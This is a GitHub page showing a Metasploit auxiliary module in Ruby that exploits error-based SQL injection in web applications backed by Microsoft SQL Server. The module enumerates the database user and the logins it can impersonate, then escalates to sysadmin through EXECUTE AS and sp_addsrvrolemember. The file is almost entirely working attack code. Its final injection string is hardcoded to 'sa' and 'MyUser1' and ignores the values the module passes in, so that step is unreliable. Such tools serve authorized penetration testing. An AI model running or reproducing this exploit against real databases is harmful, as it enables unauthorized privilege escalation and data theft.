-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathmssql_escalate_executeas_sqli.rb
executable file
·206 lines (167 loc) · 6.16 KB
/
mssql_escalate_executeas_sqli.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/mssql_commands'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL_SQLI
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server - SQLi Escalate Execute As',
'Description' => %q{
This module can be used escalate privileges if the IMPERSONATION privilege has been assigned to the user
via error based SQL injection. In most cases this results in additional data access, but in some cases it can be used to gain sysadmin
privileges.
The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
},
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>'],
'License' => MSF_LICENSE,
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
))
end
def run
# Get the database user name
print_status("#{peer} - Grabbing the database user name...")
db_user = get_username
if db_user.nil?
print_error("#{peer} - Unable to grab user name...")
return
else
print_good("#{peer} - Database user: #{db_user}")
end
# Grab sysadmin status
print_status("#{peer} - Checking if #{db_user} is already a sysadmin...")
admin_status = check_sysadmin
if admin_status.nil?
print_error("#{peer} - Couldn't retrieve user status, aborting...")
return
elsif admin_status == '1'
print_error("#{peer} - #{db_user} is already a sysadmin, no escalation needed.")
return
else
print_status("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.")
end
# Get list of users that can be impersonated
print_status("#{peer} - Enumerating a list of users that can be impersonated...")
imp_user_list = check_imp_users
if imp_user_list.nil? || imp_user_list.length == 0
print_error('#{peer} - Sorry, the current user doesnt have permissions to impersonate anyone.')
return
else
# Display list of users that can be impersonated
print_good("#{peer} - #{imp_user_list.length} users can be impersonated:")
imp_user_list.each do |dbuser|
print_status("#{peer} - #{dbuser}")
end
end
# Check if any of the users that can be impersonated are sysadmins
print_status("#{peer} - Checking if any of them are sysadmins...")
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
if imp_user_sysadmin.nil?
print_error("#{peer} - Sorry, none of the users that can be impersonated are sysadmins.")
return
end
# Attempt to escalate to sysadmin
print_status("#{peer} - Attempting to impersonate #{imp_user_sysadmin}...")
escalate_privs(imp_user_sysadmin,db_user)
admin_status = check_sysadmin
if admin_status && admin_status == '1'
print_good("#{peer} - Success! #{db_user} is now a sysadmin!")
else
print_error("#{peer} - Fail buckets, something went wrong.")
end
end
def peer
"#{rhost}:#{rport}"
end
def get_username
# Setup query to check for database username
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"
# Run query
result = mssql_query(sql)
# Parse result
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
user_name = $1
else
user_name = nil
end
user_name
end
def check_sysadmin
# Setup query to check for sysadmin
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"
# Run query
result = mssql_query(sql)
# Parse result
if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
status = $1
else
status = nil
end
status
end
def check_imp_users
# Setup query to check for trusted databases owned by sysadmins
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
# Setup query
sql = "(select cast((SELECT DISTINCT '#{clue_start}'+b.name+'#{clue_end}'
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE' for xml path('')) as int))"
# Run query
res = mssql_query(sql)
unless res && res.body
return nil
end
#Parse results
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
if parsed_result && !parsed_result.empty?
parsed_result.flatten!
parsed_result.uniq!
end
parsed_result
end
def check_imp_sysadmin(imp_user_list)
# Check if the user has the db_owner role is any databases
imp_user_list.each do |imp_user|
# Setup query
clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin','#{imp_user}'))as varchar)+'#{clue_end}')"
# Run query
result = mssql_query(sql)
unless result && result.body
next
end
#Parse results
parsed_result = result.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
if parsed_result && !parsed_result.empty?
parsed_result.flatten!
parsed_result.uniq!
end
# check if user is a sysadmin
if parsed_result[0] == '1'
print_good("#{peer} - #{imp_user} is a sysadmin!")
return imp_user
else
print_status("#{peer} - #{imp_user} is NOT a sysadmin")
end
end
nil
end
# Attempt to escalate privileges
def escalate_privs(imp_user,db_user)
# Setup Query - Impersonate the first sysadmin user on the list
evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--"
# Execute Query
result = mssql_query(evil_sql)
end
end